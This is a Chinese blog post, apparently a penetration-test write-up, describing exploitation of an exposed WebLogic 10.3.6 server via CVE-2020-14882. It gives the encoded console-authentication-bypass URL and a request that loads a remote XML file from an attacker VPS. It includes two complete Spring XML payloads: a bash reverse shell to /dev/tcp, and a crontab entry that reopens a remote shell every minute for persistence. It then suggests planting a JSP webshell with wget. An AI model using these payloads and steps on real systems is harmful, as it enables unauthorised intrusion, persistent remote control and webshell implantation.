HOME
HOME

记一次实战weblogic渗透

某次测试中发现一个开放在外网的weblogic,版本为10.3.6,直接输入/console,就能打开管理页面

image-20201116112750237

image-20201116112728397

直接测试http://ip:port/console/css/%252e%252e%252fconsole.portal能绕过console登录,直接进入后台,但后台权限较低,无法直接部署war包,于是根据vulhub,采用FileSystemXmlApplicationContext加载远程的xml进行攻击

image-20201116114020053

在远程服务器写入xml文件,并使用python搭建http server,python -m SimpleHTTPServer 5555

xml文件内容写上反弹shell的命令,并在weblogic中访问以下命令:
http://ip:port/console/css/%252e%252e%252fconsole.portal?_nfpb=true&_pageLabel=&handle=com.bea.core.repackaged.springframework.context.support.FileSystemXmlApplicationContext("http://vps:5555/rce.xml")

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<?xml version="1.0" encoding="UTF-8" ?>
<beans xmlns="http://www.springframework.org/schema/beans"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd">
<bean id="pb" class="java.lang.ProcessBuilder" init-method="start">
<constructor-arg>
<list>
<value>bash</value>
<value>-c</value>
<value><![CDATA[bash -i >& /dev/tcp/ip/8888 0>&1]]></value>
</list>
</constructor-arg>
</bean>
</beans>

但是结果发现虽然有连接回来,但是生成不了shell

image-20201116115656814

image-20201116114531532

修改xml脚本,联想到平时在红蓝项目中,采用定时反弹shell的方式,直接写入crontab进行定时反弹,而不是在当前session进行反弹,修改后xml如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
<?xml version="1.0" encoding="UTF-8" ?>
<beans xmlns="http://www.springframework.org/schema/beans"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd">
<bean id="pb" class="java.lang.ProcessBuilder" init-method="start">
<constructor-arg>
<list>
<value>bash</value>
<value>-c</value>
<value><![CDATA[echo -e "*/1 * * * * exec 9<> /dev/tcp/ip/9998;exec 0<&9;exec 1>&9 2>&1;/bin/bash --noprofile -i"|crontab -]]></value>
</list>
</constructor-arg>
</bean>
</beans>

这样每隔一分钟,服务器会定时反弹shell回来,这种方式避免了weblogic在加载xml时就回弹shell,导致可能不成功的情况。

收到了反弹的shell

image-20201116114812911

反弹的bash shell不太好找web相关的配置参数,比如web.xml文件等,于是采用find命令全局查找,找到相关的web目录如下:

1
/app/weblogic/Oracle/Middleware/user_projects/domains/mweb_domain/servers/mwebServer/tmp/_WL_user/mweb/{username}/war/

可使用wget在该目录下写入jsp或者jspx的webshell

以上便是本次实际应用中碰到的weblogic渗透,做此记录。

参考文档

  1. https://github.com/vulhub/vulhub/blob/master/weblogic/CVE-2020-14882/README.zh-cn.md
  2. https://github.com/jas502n/CVE-2020-14882